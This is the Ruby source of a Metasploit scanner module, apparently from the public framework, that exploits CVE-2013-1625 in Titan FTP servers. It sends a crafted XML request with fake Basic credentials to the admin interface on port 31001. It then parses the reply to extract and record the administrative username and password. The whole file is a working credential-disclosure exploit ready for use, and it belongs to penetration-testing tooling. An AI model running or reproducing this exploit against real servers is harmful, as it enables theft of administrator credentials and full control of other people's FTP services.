104 lines
3.4 KiB
Ruby
104 lines
3.4 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rexml/document'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Scanner
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Titan FTP Administrative Password Disclosure',
|
|
'Description' => %q{
|
|
On Titan FTP servers prior to version 9.14.1628, an attacker can
|
|
retrieve the username and password for the administrative XML-RPC
|
|
interface, which listens on TCP Port 31001 by default, by sending an
|
|
XML request containing bogus authentication information. After sending
|
|
this request, the server responds with the legitimate username and
|
|
password for the service. With this information, an attacker has
|
|
complete control over the FTP service, which includes the ability to
|
|
add and remove FTP users, as well as add, remove, and modify
|
|
available directories and their permissions.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Spencer McIntyre'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2013-1625' ],
|
|
]
|
|
)
|
|
|
|
register_options([Opt::RPORT(31001)], self.class)
|
|
deregister_options('PASSWORD', 'USERNAME')
|
|
end
|
|
|
|
def run_host(ip)
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => "/admin.dll",
|
|
'method' => 'POST',
|
|
'headers' => {
|
|
'SRT-WantXMLResponses' => 'true',
|
|
'SRT-XMLRequest' => 'true',
|
|
'Authorization' => 'Basic FAKEFAKE'
|
|
},
|
|
'data' => "<SRRequest><SRTarget>DOM</SRTarget><SRAction>GCFG</SRAction><SRServerName/><SRPayload></SRPayload></SRRequest>",
|
|
})
|
|
return if not res
|
|
|
|
if res.code == 400
|
|
vprint_status("#{ip}:#{datastore['RPORT']} - Server Responeded 400, It's Likely Patched")
|
|
return
|
|
elsif res.code != 200
|
|
vprint_status("#{ip}:#{datastore['RPORT']} - Server Responeded With An Unknown Response Code Of #{res.code}")
|
|
return
|
|
end
|
|
|
|
xml_data = res.body.strip
|
|
resp_root = REXML::Document.new(xml_data).root
|
|
|
|
srresponse = resp_root.elements.to_a("//SRResponse")[0]
|
|
srdomainparams = srresponse.elements.to_a("//SRDomainParams")[0]
|
|
|
|
info = {}
|
|
srdomainparams.elements.each do |node|
|
|
case node.name
|
|
when "DomainName"
|
|
info[:domain] = Rex::Text.uri_decode(node.text)
|
|
when "BaseDataDir"
|
|
info[:basedir] = Rex::Text.uri_decode(node.text)
|
|
when "CreationDate"
|
|
info[:username] = Rex::Text.uri_decode(node.text)
|
|
when "CreationTime"
|
|
info[:password] = Rex::Text.uri_decode(node.text)
|
|
end
|
|
end
|
|
|
|
if (info[:username] and info[:password])
|
|
if (info[:domain] and info[:basedir])
|
|
print_good("#{ip}:#{datastore['RPORT']} - Domain: #{info[:domain]}")
|
|
print_good("#{ip}:#{datastore['RPORT']} - Base Directory: #{info[:basedir]}")
|
|
end
|
|
print_good("#{ip}:#{datastore['RPORT']} - Admin Credentials: '#{info[:username]}:#{info[:password]}'")
|
|
report_auth_info(
|
|
:host => ip,
|
|
:port => datastore['RPORT'],
|
|
:user => info[:username],
|
|
:pass => info[:password],
|
|
:ptype => "password",
|
|
:proto => "http",
|
|
:sname => "Titan FTP Admin Console"
|
|
)
|
|
end
|
|
end
|
|
end
|